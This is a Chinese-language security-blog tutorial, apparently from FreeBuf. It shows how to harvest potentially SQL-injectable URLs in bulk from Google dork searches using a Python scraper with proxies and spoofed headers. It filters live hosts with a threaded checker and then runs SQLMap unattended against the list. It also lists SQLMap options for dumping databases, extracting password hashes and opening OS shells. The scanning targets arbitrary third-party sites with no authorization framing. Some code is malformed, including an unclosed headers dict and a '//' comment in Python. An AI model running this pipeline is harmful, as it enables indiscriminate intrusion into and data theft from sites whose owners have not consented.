在使用GoogleHack进行SQL注入点查询时,手工的方法一般为通过谷歌语法的inurl判断是否存在动态查询参数,然后对查询的网站url进行手工判断是否存在SQL注入漏洞,如or 1=1 , or 1=2, 加单引号等方式。
在实际执行过程中,可以通过爬虫技术,定位谷歌搜索特定语句查询出的可能存在漏洞的URLS。并将这些URL通过IO写入文件中,方便执行后续的扫描工作。
这时候可能有观众要问,这个功能已经集成到了SQLMAP的谷歌模块中了,通过使用sqlmap -g 搜索语句就可以直接进行批量化扫描了。但是在笔者实际测试中发现,对英文字母的搜索语句如:https://www.google.com.hk/search?q=inurl:php?id= ,SQLMAP可以正确的进行查询,通过测试发现其测试的语句符合我们真实在谷歌环境中搜索到的网址。但是一旦我们有特殊的需求,如搜索特定地区的url,搜索存在中文字符的网站内容的url如:
https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强
则SQLMAP会自动过滤intext语句中的中文,返回不加过滤后的结果。
在实际测试中,英文字母的intext不受影响。
基于此,我们可以使用Python爬虫获取到谷歌搜索的URL生成TXT文件,在使用SQLMAP(或其他SQL扫描工具),进行二次扫描。
由于谷歌对敏感语句的安全措施,首先要设置代理池和定制头
代码如下:
import requests
from lxml import etree
import io
import sys
proxies = { "http": "http://142.93.130.xxx:8118", "https": "http://31.220.51.xxx:80" }
headers={
'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'accept-encoding':'gzip, deflate, sdch, br',
'cache-control':'max-age=0',
'upgrade-insecure-requests':'1',
'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0',
'Referer': 'https://www.google.com.hk/',
//cookie可加可不加
r=requests.get('https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强&lr=lang_zh-CN&num=5000',headers=headers,)
然后使用requests库请求谷歌的搜索语句
r=requests.get('https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强&lr=lang_zh-CN&num=5000',headers=headers,)
其中对lr标签设置可以只返回中文结果。
然后使用xpath定位我们需要的结果的DOM地址
e=etree.HTML(r.text)
# print(e.xpath('//div/node()'))
name=e.xpath('//h3[@class="LC20lb"]/node()')
url=e.xpath('//cite[@class="iUh30"]/node()')
# print(name)
# print(url)
filename='ip.txt'
with open(filename,'w',encoding='utf-8') as f:
for i in url:
f.write(i+'\n')
# print(name)
# print(url)
class的名字可以根据实际情况中的结果进行更改。
最后将结果写入txt文件中即可。
在实际中我们发现,这样得到的IP地址有很多是没有响应的,如果对所有的地址进行扫描,会非常费时费力,我们要进行二次过滤,使用Python批量对地址进行请求, 过滤掉不响应或响应过慢的网页。
具体代码实现如下
import socket
import asyncio
import sys
import queue
import threading
import requests
iplist=[]
class socket1():
def __init__(self,i):
self.i=i
# print(target)
def scan(self,ip,i):
# print("start scan")
# print(s.connect_ex((self.target,80)))
# for i in range(1,100):
# print(i)
s=requests.get(ip,timeout=6)
if s.status_code==200:
# print(ip,'open')
iplist.append(ip)
def worker(self,q):
while not q.empty():
ip=str(q.get())
if ('http' or 'https') in ip:
ip=ip
else:
ip='http://'+ip
print(ip)
try:
self.scan(ip,self.i)
finally:
q.task_done()
# def main(self):
# print("start to detect ",self.target)
# loop=asyncio.get_event_loop()
# tasks=[asyncio.ensure_future(self.scan(port)) for port in range(1,65536)]
# loop.run_until_complete(asyncio.wait(tasks))
if __name__ == '__main__':
print("Start testing the target port")
# print("Example:['127.0.0.1','127.0.0.2'] 80")
filename='ipsuccess.txt'
q=queue.Queue()
a=socket1(80)
with open(filename,'rb') as f:
for line in f.readlines():
# print(line.decode()[:-2])
q.put(line.decode()[:-2])
# iplist=[]
# for i in range(65535):
# print(q.get())
threads=[threading.Thread(target=a.worker,args=(q,)) for i in range(200)]
list(map(lambda x:x.start(),threads))
q.join()
print("scan over")
print(iplist)
with open('ipsuccess.txt','w',encoding='utf-8') as f:
for i in iplist:
f.write(i+'\n')
其中设置了请求连接的最长响应时间为6s,若6s后仍无响应,则判断该网站不存活。
到了这一步,我们就可以通过SQL注入工具进行批量化的检测了,能够进行批量检测的工具有很多,我们这里拿SQLMap举例。
我们知道 SQLMap的使用命令为:
目标:至少要选中一个参数
-u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK 将谷歌dork的结果作为目标url
请求:
这些选项可用于指定如何连接到目标URL
--data=DATA 数据字符串通过POST发送
--cookie=COOKIE HTTP Cookie的值
--random-agent 随机选择 HTTP User-Agent 头的值
--proxy=PROXY 使用代理去连接目标URL
--tor 使用匿名网络
--check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
--dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
--level=LEVEL 执行的测试级别(1-5, 默认 1)
--risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
--technique=TECH SQL注入技术选择 (默认 "BEUSTQ")
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
--schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
--os-shell 提示为交互式操作系统shell
--os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
--batch 永远不要要求用户输入,使用默认行为
--flush-session 刷新当前目标的会话文件
杂项:
--sqlmap-shell 提示输入交互式sqlmap shell
--wizard 初学者的简单向导界面
其中-m命令可以读取txt文件中的ip,使用–batch可以是SQLMap自动使用默认设置,不过这里有一个问题,一旦某个ip重试一定次数,SQLMap无法连接这个地址的话,就会按照默认行为进行退出。这无疑给我们的自动化造成了麻烦。
这样就体现出了我们进行url存活性确认的步骤的重要性了,使用脚本提前进行扫描,以防自动化的扫描进程中断是很重要的。
最后使用SQLMAP的-m命令读取txt文件进行扫描,使用–batch进行无人值守自动化扫描即可。
如
python sqlmap.py -m ip.txt --batch
*本文原创作者:SkyAnakin,本文属FreeBuf原创奖励计划,未经许可禁止转载